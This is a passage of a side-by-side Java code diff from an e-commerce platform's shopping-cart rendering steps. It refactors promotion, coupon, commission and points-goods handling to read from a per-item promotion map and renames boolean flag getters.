stringBuffer.append("").append(this.getFullMinus()).append(""); stringBuffer.append("").append(this.getFullMinus()).append("");
} }
if (Boolean.TRUE.equals(this.getIsFullRate())) { if (Boolean.TRUE.equals(this.getFullRateFlag())) {
stringBuffer.append("").append(this.getFullRate()).append(""); stringBuffer.append("").append(this.getFullRate()).append("");
} }
if (Boolean.TRUE.equals(this.getIsFreeFreight())) { if (Boolean.TRUE.equals(this.getFreeFreightFlag())) {
stringBuffer.append(" 免运费 "); stringBuffer.append(" 免运费 ");
} }
if (Boolean.TRUE.equals(this.getIsPoint())) { if (Boolean.TRUE.equals(this.getPointFlag())) {
stringBuffer.append("").append(this.getPoint()).append("积分 "); stringBuffer.append("").append(this.getPoint()).append("积分 ");
} }
if (Boolean.TRUE.equals(this.getIsCoupon())) { if (Boolean.TRUE.equals(this.getCouponFlag())) {
stringBuffer.append("").append("优惠券 "); stringBuffer.append("").append("优惠券 ");
} }
if (Boolean.TRUE.equals(this.getIsGift() && giftSku != null)) { if (Boolean.TRUE.equals(this.getGiftFlag() && CharSequenceUtil.isNotEmpty(giftSkuName))) {
stringBuffer.append(" 赠品[").append(giftSku.getGoodsName()).append("]"); stringBuffer.append(" 赠品[").append(giftSkuName).append("]");
} }
return stringBuffer.toString(); return stringBuffer.toString();

View File

@ -21,10 +21,8 @@ import cn.lili.modules.order.cart.render.CartRenderStep;
import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.dos.Order;
import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.order.order.service.OrderService;
import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.dos.Pintuan;
import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dos.PointsGoods;
import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.service.PintuanService;
import cn.lili.modules.promotion.service.PointsGoodsService;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
@ -49,15 +47,9 @@ public class CheckDataRender implements CartRenderStep {
@Autowired @Autowired
private OrderService orderService; private OrderService orderService;
@Autowired
private PintuanService pintuanService;
@Autowired @Autowired
private MemberService memberService; private MemberService memberService;
@Autowired
private PointsGoodsService pointsGoodsService;
@Override @Override
public RenderStepEnums step() { public RenderStepEnums step() {
@ -105,7 +97,7 @@ public class CheckDataRender implements CartRenderStep {
continue; continue;
} }
//商品上架状态判定 //商品上架状态判定
if (!GoodsAuthEnum.PASS.name().equals(dataSku.getIsAuth()) || !GoodsStatusEnum.UPPER.name().equals(dataSku.getMarketEnable())) { if (!GoodsAuthEnum.PASS.name().equals(dataSku.getAuthFlag()) || !GoodsStatusEnum.UPPER.name().equals(dataSku.getMarketEnable())) {
//设置购物车未选中 //设置购物车未选中
cartSkuVO.setChecked(false); cartSkuVO.setChecked(false);
//设置购物车此sku商品已失效 //设置购物车此sku商品已失效
@ -121,6 +113,14 @@ public class CheckDataRender implements CartRenderStep {
//设置失效消息 //设置失效消息
cartSkuVO.setErrorMessage("商品库存不足,现有库存数量[" + dataSku.getQuantity() + "]"); cartSkuVO.setErrorMessage("商品库存不足,现有库存数量[" + dataSku.getQuantity() + "]");
} }
//移除无效促销活动
cartSkuVO.setPromotionMap(cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> {
BasePromotions basePromotions = (BasePromotions) i.getValue();
if (basePromotions.getStartTime() != null && basePromotions.getEndTime() != null) {
return basePromotions.getStartTime().getTime() <= System.currentTimeMillis() && basePromotions.getEndTime().getTime() >= System.currentTimeMillis();
}
return true;
}).collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue)));
} }
} }
@ -134,7 +134,7 @@ public class CheckDataRender implements CartRenderStep {
List<CartVO> cartList = new ArrayList<>(); List<CartVO> cartList = new ArrayList<>();
//根据店铺分组 //根据店铺分组
Map<String, List<CartSkuVO>> storeCollect = tradeDTO.getSkuList().parallelStream().collect(Collectors.groupingBy(CartSkuVO::getStoreId)); Map<String, List<CartSkuVO>> storeCollect = tradeDTO.getSkuList().stream().collect(Collectors.groupingBy(CartSkuVO::getStoreId));
for (Map.Entry<String, List<CartSkuVO>> storeCart : storeCollect.entrySet()) { for (Map.Entry<String, List<CartSkuVO>> storeCart : storeCollect.entrySet()) {
if (!storeCart.getValue().isEmpty()) { if (!storeCart.getValue().isEmpty()) {
CartVO cartVO = new CartVO(storeCart.getValue().get(0)); CartVO cartVO = new CartVO(storeCart.getValue().get(0));
@ -170,9 +170,9 @@ public class CheckDataRender implements CartRenderStep {
} }
} }
//判断拼团商品的限购数量 //判断拼团商品的限购数量
Optional<String> pintuanId = tradeDTO.getSkuList().get(0).getPromotions().stream().filter(i -> i.getPromotionType().equals(PromotionTypeEnum.PINTUAN.name())).map(PromotionGoods::getPromotionId).findFirst(); Optional<Map.Entry<String, Object>> pintuanPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.PINTUAN.name())).findFirst();
if (pintuanId.isPresent()) { if (pintuanPromotions.isPresent()) {
Pintuan pintuan = pintuanService.getById(pintuanId.get()); Pintuan pintuan = (Pintuan) pintuanPromotions.get().getValue();
Integer limitNum = pintuan.getLimitNum(); Integer limitNum = pintuan.getLimitNum();
for (CartSkuVO cartSkuVO : tradeDTO.getSkuList()) { for (CartSkuVO cartSkuVO : tradeDTO.getSkuList()) {
if (limitNum != 0 && cartSkuVO.getNum() > limitNum) { if (limitNum != 0 && cartSkuVO.getNum() > limitNum) {
@ -182,16 +182,19 @@ public class CheckDataRender implements CartRenderStep {
} }
//积分商品判断用户积分是否满足 //积分商品判断用户积分是否满足
} else if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.POINTS)) { } else if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.POINTS)) {
String skuId = tradeDTO.getSkuList().get(0).getGoodsSku().getId();
//获取积分商品VO //获取积分商品VO
PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsDetailBySkuId(skuId); Optional<Map.Entry<String, Object>> pointsPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.POINTS_GOODS.name())).findFirst();
if (pointsGoodsVO == null) { if (pointsPromotions.isPresent()) {
throw new ServiceException(ResultCode.POINT_GOODS_ERROR); PointsGoods pointsGoods = (PointsGoods) pointsPromotions.get().getValue();
} if (pointsGoods == null) {
Member member = memberService.getUserInfo(); throw new ServiceException(ResultCode.POINT_GOODS_ERROR);
if (member.getPoint() < pointsGoodsVO.getPoints()) { }
throw new ServiceException(ResultCode.USER_POINTS_ERROR); Member member = memberService.getUserInfo();
if (member.getPoint() < pointsGoods.getPoints()) {
throw new ServiceException(ResultCode.USER_POINTS_ERROR);
}
} }
} }
} }

View File

@ -28,7 +28,7 @@ public class CheckedFilterRender implements CartRenderStep {
@Override @Override
public void render(TradeDTO tradeDTO) { public void render(TradeDTO tradeDTO) {
//将购物车到sku未选择信息过滤 //将购物车到sku未选择信息过滤
List<CartSkuVO> collect = tradeDTO.getSkuList().parallelStream().filter(i -> Boolean.TRUE.equals(i.getChecked())).collect(Collectors.toList()); List<CartSkuVO> collect = tradeDTO.getSkuList().stream().filter(i -> Boolean.TRUE.equals(i.getChecked())).collect(Collectors.toList());
tradeDTO.setSkuList(collect); tradeDTO.setSkuList(collect);
//购物车信息过滤 //购物车信息过滤

View File

@ -1,6 +1,7 @@
package cn.lili.modules.order.cart.render.impl; package cn.lili.modules.order.cart.render.impl;
import cn.hutool.core.util.StrUtil; import cn.hutool.core.text.CharSequenceUtil;
import cn.lili.common.enums.PromotionTypeEnum;
import cn.lili.modules.goods.service.CategoryService; import cn.lili.modules.goods.service.CategoryService;
import cn.lili.modules.order.cart.entity.dto.TradeDTO; import cn.lili.modules.order.cart.entity.dto.TradeDTO;
import cn.lili.modules.order.cart.entity.enums.CartTypeEnum; import cn.lili.modules.order.cart.entity.enums.CartTypeEnum;
@ -10,13 +11,13 @@ import cn.lili.modules.order.cart.entity.vo.CartVO;
import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.cart.render.CartRenderStep;
import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO;
import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods;
import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.entity.dos.PointsGoods;
import cn.lili.modules.promotion.service.KanjiaActivityGoodsService;
import cn.lili.modules.promotion.service.PointsGoodsService;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
import java.util.List; import java.util.List;
import java.util.Map;
import java.util.Optional;
/** /**
* 佣金计算 * 佣金计算
@ -33,16 +34,6 @@ public class CommissionRender implements CartRenderStep {
*/ */
@Autowired @Autowired
private CategoryService categoryService; private CategoryService categoryService;
/**
* 积分商品
*/
@Autowired
private PointsGoodsService pointsGoodsService;
/**
* 砍价商品
*/
@Autowired
private KanjiaActivityGoodsService kanjiaActivityGoodsService;
@Override @Override
public RenderStepEnums step() { public RenderStepEnums step() {
@ -72,20 +63,26 @@ public class CommissionRender implements CartRenderStep {
//平台佣金根据分类计算 //平台佣金根据分类计算
String categoryId = cartSkuVO.getGoodsSku().getCategoryPath() String categoryId = cartSkuVO.getGoodsSku().getCategoryPath()
.substring(cartSkuVO.getGoodsSku().getCategoryPath().lastIndexOf(",") + 1); .substring(cartSkuVO.getGoodsSku().getCategoryPath().lastIndexOf(",") + 1);
if (StrUtil.isNotEmpty(categoryId)) { if (CharSequenceUtil.isNotEmpty(categoryId)) {
Double commissionRate = categoryService.getById(categoryId).getCommissionRate(); Double commissionRate = categoryService.getById(categoryId).getCommissionRate();
priceDetailDTO.setPlatFormCommissionPoint(commissionRate); priceDetailDTO.setPlatFormCommissionPoint(commissionRate);
} }
//如果积分订单 积分订单单独操作订单结算金额和商家结算字段 //如果积分订单 积分订单单独操作订单结算金额和商家结算字段
if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.POINTS)) { if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.POINTS)) {
PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsDetailBySkuId(cartSkuVO.getGoodsSku().getId()); Optional<Map.Entry<String, Object>> pointsPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.POINTS_GOODS.name())).findFirst();
priceDetailDTO.setSettlementPrice(pointsGoodsVO.getSettlementPrice()); if (pointsPromotions.isPresent()) {
PointsGoods pointsGoods = (PointsGoods) pointsPromotions.get().getValue();
priceDetailDTO.setSettlementPrice(pointsGoods.getSettlementPrice());
}
} }
//如果砍价订单 计算金额单独操作订单结算金额和商家结算字段 //如果砍价订单 计算金额单独操作订单结算金额和商家结算字段
else if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.KANJIA)) { else if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.KANJIA)) {
KanjiaActivityGoods kanjiaActivityGoods = kanjiaActivityGoodsService.getKanjiaGoodsBySkuId(cartSkuVO.getGoodsSku().getId()); Optional<Map.Entry<String, Object>> kanjiaPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.KANJIA.name())).findFirst();
priceDetailDTO.setSettlementPrice(kanjiaActivityGoods.getSettlementPrice()); if (kanjiaPromotions.isPresent()) {
KanjiaActivityGoods kanjiaActivityGoods = (KanjiaActivityGoods) kanjiaPromotions.get().getValue();
priceDetailDTO.setSettlementPrice(kanjiaActivityGoods.getSettlementPrice());
}
} }
} }
} }

View File

@ -79,14 +79,14 @@ public class CouponRender implements CartRenderStep {
*/ */
private void checkMemberExistCoupon(TradeDTO tradeDTO, List<MemberCoupon> memberCouponList) { private void checkMemberExistCoupon(TradeDTO tradeDTO, List<MemberCoupon> memberCouponList) {
if (tradeDTO.getPlatformCoupon() != null && tradeDTO.getPlatformCoupon().getMemberCoupon() != null) { if (tradeDTO.getPlatformCoupon() != null && tradeDTO.getPlatformCoupon().getMemberCoupon() != null) {
boolean b = memberCouponList.parallelStream().anyMatch(i -> i.getId().equals(tradeDTO.getPlatformCoupon().getMemberCoupon().getId())); boolean b = memberCouponList.stream().anyMatch(i -> i.getId().equals(tradeDTO.getPlatformCoupon().getMemberCoupon().getId()));
if (!b) { if (!b) {
tradeDTO.setPlatformCoupon(null); tradeDTO.setPlatformCoupon(null);
} }
} }
if (!tradeDTO.getStoreCoupons().isEmpty()) { if (!tradeDTO.getStoreCoupons().isEmpty()) {
for (Map.Entry<String, MemberCouponDTO> entry : tradeDTO.getStoreCoupons().entrySet()) { for (Map.Entry<String, MemberCouponDTO> entry : tradeDTO.getStoreCoupons().entrySet()) {
if (entry.getValue().getMemberCoupon() != null && memberCouponList.parallelStream().noneMatch(i -> i.getId().equals(entry.getValue().getMemberCoupon().getId()))) { if (entry.getValue().getMemberCoupon() != null && memberCouponList.stream().noneMatch(i -> i.getId().equals(entry.getValue().getMemberCoupon().getId()))) {
tradeDTO.getStoreCoupons().remove(entry.getKey()); tradeDTO.getStoreCoupons().remove(entry.getKey());
} }
} }
@ -138,7 +138,7 @@ public class CouponRender implements CartRenderStep {
List<CartSkuVO> filterSku; List<CartSkuVO> filterSku;
//平台店铺过滤 //平台店铺过滤
if (Boolean.TRUE.equals(memberCoupon.getIsPlatform())) { if (Boolean.TRUE.equals(memberCoupon.getPlatformFlag())) {
filterSku = cartSkuVOS; filterSku = cartSkuVOS;
} else { } else {
filterSku = cartSkuVOS.stream().filter(cartSkuVO -> cartSkuVO.getStoreId().equals(memberCoupon.getStoreId())).collect(Collectors.toList()); filterSku = cartSkuVOS.stream().filter(cartSkuVO -> cartSkuVO.getStoreId().equals(memberCoupon.getStoreId())).collect(Collectors.toList());
@ -263,10 +263,10 @@ public class CouponRender implements CartRenderStep {
private void renderCouponPrice(Map<String, Double> couponMap, TradeDTO tradeDTO, MemberCoupon coupon, MemberCouponDTO memberCouponDTO) { private void renderCouponPrice(Map<String, Double> couponMap, TradeDTO tradeDTO, MemberCoupon coupon, MemberCouponDTO memberCouponDTO) {
//分发优惠券 //分发优惠券
promotionPriceUtil.recountPrice(tradeDTO, memberCouponDTO.getSkuDetail(), memberCouponDTO.getMemberCoupon().getPrice(), promotionPriceUtil.recountPrice(tradeDTO, memberCouponDTO.getSkuDetail(), memberCouponDTO.getMemberCoupon().getPrice(),
Boolean.TRUE.equals(coupon.getIsPlatform()) ? Boolean.TRUE.equals(coupon.getPlatformFlag()) ?
PromotionTypeEnum.PLATFORM_COUPON : PromotionTypeEnum.COUPON); PromotionTypeEnum.PLATFORM_COUPON : PromotionTypeEnum.COUPON);
//如果是平台券 则需要计算商家承担比例 //如果是平台券 则需要计算商家承担比例
if (Boolean.TRUE.equals(coupon.getIsPlatform()) && coupon.getStoreCommission() > 0) { if (Boolean.TRUE.equals(coupon.getPlatformFlag()) && coupon.getStoreCommission() > 0) {
//循环所有优惠券 //循环所有优惠券
for (String skuId : couponMap.keySet()) { for (String skuId : couponMap.keySet()) {
@ -306,7 +306,7 @@ public class CouponRender implements CartRenderStep {
CurrencyUtil.sub(1, CurrencyUtil.div(coupon.getDiscount(), 10, 3))); CurrencyUtil.sub(1, CurrencyUtil.div(coupon.getDiscount(), 10, 3)));
//平台券则写入店铺承担优惠券比例 //平台券则写入店铺承担优惠券比例
if (Boolean.TRUE.equals(coupon.getIsPlatform())) { if (Boolean.TRUE.equals(coupon.getPlatformFlag())) {
priceDetailDTO.setSiteCouponPrice(discountCouponPrice); priceDetailDTO.setSiteCouponPrice(discountCouponPrice);
priceDetailDTO.setSiteCouponPoint(coupon.getStoreCommission()); priceDetailDTO.setSiteCouponPoint(coupon.getStoreCommission());
} }

View File

@ -63,14 +63,12 @@ public class DistributionPriceRender implements CartRenderStep {
}).collect(Collectors.toList()); }).collect(Collectors.toList());
//是否包含分销商品 //是否包含分销商品
List<DistributionGoods> distributionGoods = distributionGoodsService.distributionGoods(skuIds); List<DistributionGoods> distributionGoods = distributionGoodsService.distributionGoods(skuIds);
if (distributionGoods != null && distributionGoods.size() > 0) { if (distributionGoods != null && !distributionGoods.isEmpty()) {
distributionGoods.forEach(dg -> { distributionGoods.forEach(dg -> tradeDTO.getCheckedSkuList().forEach(cartSkuVO -> {
tradeDTO.getCheckedSkuList().forEach(cartSkuVO -> { if (cartSkuVO.getGoodsSku().getId().equals(dg.getSkuId())) {
if (cartSkuVO.getGoodsSku().getId().equals(dg.getSkuId())) { cartSkuVO.setDistributionGoods(dg);
cartSkuVO.setDistributionGoods(dg); }
} }));
});
});
} }
for (CartSkuVO cartSkuVO : tradeDTO.getCheckedSkuList()) { for (CartSkuVO cartSkuVO : tradeDTO.getCheckedSkuList()) {

View File

@ -12,9 +12,7 @@ import cn.lili.modules.order.cart.entity.vo.FullDiscountVO;
import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.cart.render.CartRenderStep;
import cn.lili.modules.order.cart.render.util.PromotionPriceUtil; import cn.lili.modules.order.cart.render.util.PromotionPriceUtil;
import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO;
import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dos.FullDiscount;
import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum;
import cn.lili.modules.promotion.service.FullDiscountService;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
@ -30,9 +28,6 @@ import java.util.stream.Collectors;
@Service @Service
public class FullDiscountRender implements CartRenderStep { public class FullDiscountRender implements CartRenderStep {
@Autowired
private FullDiscountService fullDiscountService;
@Autowired @Autowired
private PromotionPriceUtil promotionPriceUtil; private PromotionPriceUtil promotionPriceUtil;
@ -47,38 +42,35 @@ public class FullDiscountRender implements CartRenderStep {
@Override @Override
public void render(TradeDTO tradeDTO) { public void render(TradeDTO tradeDTO) {
//店铺集合 //店铺集合
List<CartVO> cartList = tradeDTO.getCartList(); List<CartVO> cartList = tradeDTO.getCartList();
//循环店铺购物车
for (CartVO cart : cartList) {
List<CartSkuVO> fullDiscountSkuList = cart.getSkuList().stream()
.filter(i -> i.getPromotionMap().keySet().stream().anyMatch(j -> j.contains(PromotionTypeEnum.FULL_DISCOUNT.name())))
.collect(Collectors.toList());
//店铺id集合 if (!fullDiscountSkuList.isEmpty()) {
List<String> storeIds = tradeDTO.getCartList().stream().map(CartVO::getStoreId).collect(Collectors.toList()); Optional<Map.Entry<String, Object>> fullDiscountOptional = fullDiscountSkuList.get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.FULL_DISCOUNT.name())).findFirst();
//获取当前店铺进行到满减活动
List<FullDiscountVO> fullDiscounts = fullDiscountService.currentPromotion(storeIds);
if (fullDiscounts == null || fullDiscounts.isEmpty()) {
return;
}
//循环满减信息 if (fullDiscountOptional.isPresent()) {
for (FullDiscountVO fullDiscount : fullDiscounts) { FullDiscount fullDiscount = (FullDiscount) fullDiscountOptional.get().getValue();
//判定参与活动的商品 全品类参与或者部分商品参与则进行云散 FullDiscountVO fullDiscountVO = new FullDiscountVO(fullDiscount);
//循环店铺购物车
for (CartVO cart : cartList) {
//如果购物车中的店铺id与活动店铺id相等则进行促销计算
if (fullDiscount.getStoreId().equals(cart.getStoreId())) {
//如果有赠品则将赠品信息写入 //如果有赠品则将赠品信息写入
if (Boolean.TRUE.equals(fullDiscount.getIsGift())) { if (Boolean.TRUE.equals(fullDiscount.getGiftFlag())) {
GoodsSku goodsSku = goodsSkuService.getGoodsSkuByIdFromCache(fullDiscount.getGiftId()); GoodsSku goodsSku = goodsSkuService.getGoodsSkuByIdFromCache(fullDiscount.getGiftId());
fullDiscount.setGiftSku(goodsSku); fullDiscountVO.setGiftSkuId(fullDiscount.getGiftId());
fullDiscountVO.setGiftSkuName(goodsSku.getGoodsName());
} }
//写入满减活动 //写入满减活动
cart.setFullDiscount(fullDiscount); cart.setFullDiscount(fullDiscountVO);
Map<String, Double> skuPriceDetail; Map<String, Double> skuPriceDetail = new HashMap<>(16);
//参与活动的sku判定 for (CartSkuVO cartSkuVO : cart.getSkuList()) {
skuPriceDetail = initFullDiscountGoods(fullDiscount, cart.getCheckedSkuList()); skuPriceDetail.put(cartSkuVO.getGoodsSku().getId(), cartSkuVO.getPriceDetailDTO().getGoodsPrice());
}
if (!skuPriceDetail.isEmpty()) { if (!skuPriceDetail.isEmpty()) {
//记录参与满减活动的sku //记录参与满减活动的sku
cart.setFullDiscountSkuIds(new ArrayList<>(skuPriceDetail.keySet())); cart.setFullDiscountSkuIds(new ArrayList<>(skuPriceDetail.keySet()));
@ -88,21 +80,20 @@ public class FullDiscountRender implements CartRenderStep {
if (isFull(countPrice, cart)) { if (isFull(countPrice, cart)) {
//如果减现金 //如果减现金
if (Boolean.TRUE.equals(fullDiscount.getIsFullMinus())) { if (Boolean.TRUE.equals(fullDiscount.getFullMinusFlag())) {
promotionPriceUtil.recountPrice(tradeDTO, skuPriceDetail, fullDiscount.getFullMinus(), PromotionTypeEnum.FULL_DISCOUNT); promotionPriceUtil.recountPrice(tradeDTO, skuPriceDetail, fullDiscount.getFullMinus(), PromotionTypeEnum.FULL_DISCOUNT);
} }
//打折 //打折
else if (Boolean.TRUE.equals(fullDiscount.getIsFullRate())) { else if (Boolean.TRUE.equals(fullDiscount.getFullRateFlag())) {
this.renderFullRate(cart, skuPriceDetail, CurrencyUtil.div(fullDiscount.getFullRate(), 10)); this.renderFullRate(cart, skuPriceDetail, CurrencyUtil.div(fullDiscount.getFullRate(), 10));
} }
//渲染满优惠 //渲染满优惠
renderFullMinus(cart); renderFullMinus(cart);
} }
} }
} }
} }
} }
} }
@ -115,9 +106,7 @@ public class FullDiscountRender implements CartRenderStep {
*/ */
private void renderFullRate(CartVO cart, Map<String, Double> skuPriceDetail, Double rate) { private void renderFullRate(CartVO cart, Map<String, Double> skuPriceDetail, Double rate) {
List<CartSkuVO> cartSkuVOS = cart.getCheckedSkuList().stream().filter(cartSkuVO -> { List<CartSkuVO> cartSkuVOS = cart.getCheckedSkuList().stream().filter(cartSkuVO -> skuPriceDetail.containsKey(cartSkuVO.getGoodsSku().getId())).collect(Collectors.toList());
return skuPriceDetail.containsKey(cartSkuVO.getGoodsSku().getId());
}).collect(Collectors.toList());
// 循环计算扣减金额 // 循环计算扣减金额
cartSkuVOS.forEach(cartSkuVO -> { cartSkuVOS.forEach(cartSkuVO -> {
@ -136,34 +125,6 @@ public class FullDiscountRender implements CartRenderStep {
} }
/**
* 获取参与满优惠的商品id
*
* @param fullDiscount 满优惠信息
* @param cartSkuVOS 购物车商品sku信息
* @return 参与满优惠的商品id
*/
public Map<String, Double> initFullDiscountGoods(FullDiscountVO fullDiscount, List<CartSkuVO> cartSkuVOS) {
Map<String, Double> skuPriceDetail = new HashMap<>(16);
//全品类参与
if (PromotionsScopeTypeEnum.ALL.name().equals(fullDiscount.getScopeType())) {
for (CartSkuVO cartSkuVO : cartSkuVOS) {
skuPriceDetail.put(cartSkuVO.getGoodsSku().getId(), cartSkuVO.getPriceDetailDTO().getGoodsPrice());
}
} else {
List<String> collect = fullDiscount.getPromotionGoodsList().stream().map(PromotionGoods::getSkuId).collect(Collectors.toList());
//sku 集合判定
for (CartSkuVO cartSkuVO : cartSkuVOS) {
// 如果参加满减并且购物车选中状态 则记录商品sku
if (Boolean.TRUE.equals(cartSkuVO.getChecked()) && collect.contains(cartSkuVO.getGoodsSku().getId())) {
skuPriceDetail.put(cartSkuVO.getGoodsSku().getId(), cartSkuVO.getPriceDetailDTO().getGoodsPrice());
}
}
}
return skuPriceDetail;
}
/** /**
* 渲染满减优惠 * 渲染满减优惠
* *
@ -173,17 +134,17 @@ public class FullDiscountRender implements CartRenderStep {
//获取参与活动的商品总价 //获取参与活动的商品总价
FullDiscountVO fullDiscount = cartVO.getFullDiscount(); FullDiscountVO fullDiscount = cartVO.getFullDiscount();
if (Boolean.TRUE.equals(fullDiscount.getIsCoupon())) { if (Boolean.TRUE.equals(fullDiscount.getCouponFlag())) {
cartVO.getGiftCouponList().add(fullDiscount.getCouponId()); cartVO.getGiftCouponList().add(fullDiscount.getCouponId());
} }
if (Boolean.TRUE.equals(fullDiscount.getIsGift())) { if (Boolean.TRUE.equals(fullDiscount.getGiftFlag())) {
cartVO.setGiftList(Arrays.asList(fullDiscount.getGiftId().split(","))); cartVO.setGiftList(Arrays.asList(fullDiscount.getGiftId().split(",")));
} }
if (Boolean.TRUE.equals(fullDiscount.getIsPoint())) { if (Boolean.TRUE.equals(fullDiscount.getPointFlag())) {
cartVO.setGiftPoint(fullDiscount.getPoint()); cartVO.setGiftPoint(fullDiscount.getPoint());
} }
//如果满足判定是否免邮免邮的话需要渲染一边sku //如果满足判定是否免邮免邮的话需要渲染一边sku
if (Boolean.TRUE.equals(fullDiscount.getIsFreeFreight())) { if (Boolean.TRUE.equals(fullDiscount.getFreeFreightFlag())) {
for (CartSkuVO skuVO : cartVO.getCheckedSkuList()) { for (CartSkuVO skuVO : cartVO.getCheckedSkuList()) {
skuVO.setIsFreeFreight(true); skuVO.setIsFreeFreight(true);
} }

View File

@ -9,16 +9,18 @@ import cn.lili.modules.order.cart.entity.vo.CartSkuVO;
import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.cart.entity.vo.CartVO;
import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.cart.render.CartRenderStep;
import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO;
import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum;
import cn.lili.modules.promotion.entity.vos.PromotionSkuVO; import cn.lili.modules.promotion.entity.vos.PromotionSkuVO;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityVO; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityVO;
import cn.lili.modules.promotion.service.KanjiaActivityService; import cn.lili.modules.promotion.service.KanjiaActivityService;
import cn.lili.modules.promotion.service.PromotionGoodsService;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
import java.util.Map;
import java.util.Objects;
/** /**
* 购物促销信息渲染实现 * 购物促销信息渲染实现
* *
@ -29,12 +31,6 @@ import org.springframework.stereotype.Service;
public class SkuPromotionRender implements CartRenderStep { public class SkuPromotionRender implements CartRenderStep {
/**
* 促销商品
*/
@Autowired
private PromotionGoodsService promotionGoodsService;
@Autowired @Autowired
private KanjiaActivityService kanjiaActivityService; private KanjiaActivityService kanjiaActivityService;
@ -94,11 +90,11 @@ public class SkuPromotionRender implements CartRenderStep {
for (CartSkuVO cartSkuVO : cartVO.getCheckedSkuList()) { for (CartSkuVO cartSkuVO : cartVO.getCheckedSkuList()) {
KanjiaActivitySearchParams kanjiaActivitySearchParams = new KanjiaActivitySearchParams(); KanjiaActivitySearchParams kanjiaActivitySearchParams = new KanjiaActivitySearchParams();
kanjiaActivitySearchParams.setGoodsSkuId(cartSkuVO.getGoodsSku().getId()); kanjiaActivitySearchParams.setGoodsSkuId(cartSkuVO.getGoodsSku().getId());
kanjiaActivitySearchParams.setMemberId(UserContext.getCurrentUser().getId()); kanjiaActivitySearchParams.setMemberId(Objects.requireNonNull(UserContext.getCurrentUser()).getId());
kanjiaActivitySearchParams.setStatus(KanJiaStatusEnum.SUCCESS.name()); kanjiaActivitySearchParams.setStatus(KanJiaStatusEnum.SUCCESS.name());
KanjiaActivityVO kanjiaActivityVO = kanjiaActivityService.getKanjiaActivityVO(kanjiaActivitySearchParams); KanjiaActivityVO kanjiaActivityVO = kanjiaActivityService.getKanjiaActivityVO(kanjiaActivitySearchParams);
//可以砍价金额购买则处理信息 //可以砍价金额购买则处理信息
if (kanjiaActivityVO.getPass()) { if (Boolean.TRUE.equals(kanjiaActivityVO.getPass())) {
cartSkuVO.setKanjiaId(kanjiaActivityVO.getId()); cartSkuVO.setKanjiaId(kanjiaActivityVO.getId());
cartSkuVO.setPurchasePrice(kanjiaActivityVO.getPurchasePrice()); cartSkuVO.setPurchasePrice(kanjiaActivityVO.getPurchasePrice());
cartSkuVO.setSubTotal(kanjiaActivityVO.getPurchasePrice()); cartSkuVO.setSubTotal(kanjiaActivityVO.getPurchasePrice());
@ -126,18 +122,15 @@ public class SkuPromotionRender implements CartRenderStep {
for (CartVO cartVO : tradeDTO.getCartList()) { for (CartVO cartVO : tradeDTO.getCartList()) {
//循环sku //循环sku
for (CartSkuVO cartSkuVO : cartVO.getCheckedSkuList()) { for (CartSkuVO cartSkuVO : cartVO.getCheckedSkuList()) {
//更新商品促销
promotionGoodsService.updatePromotion(cartSkuVO);
//赋予商品促销信息 //赋予商品促销信息
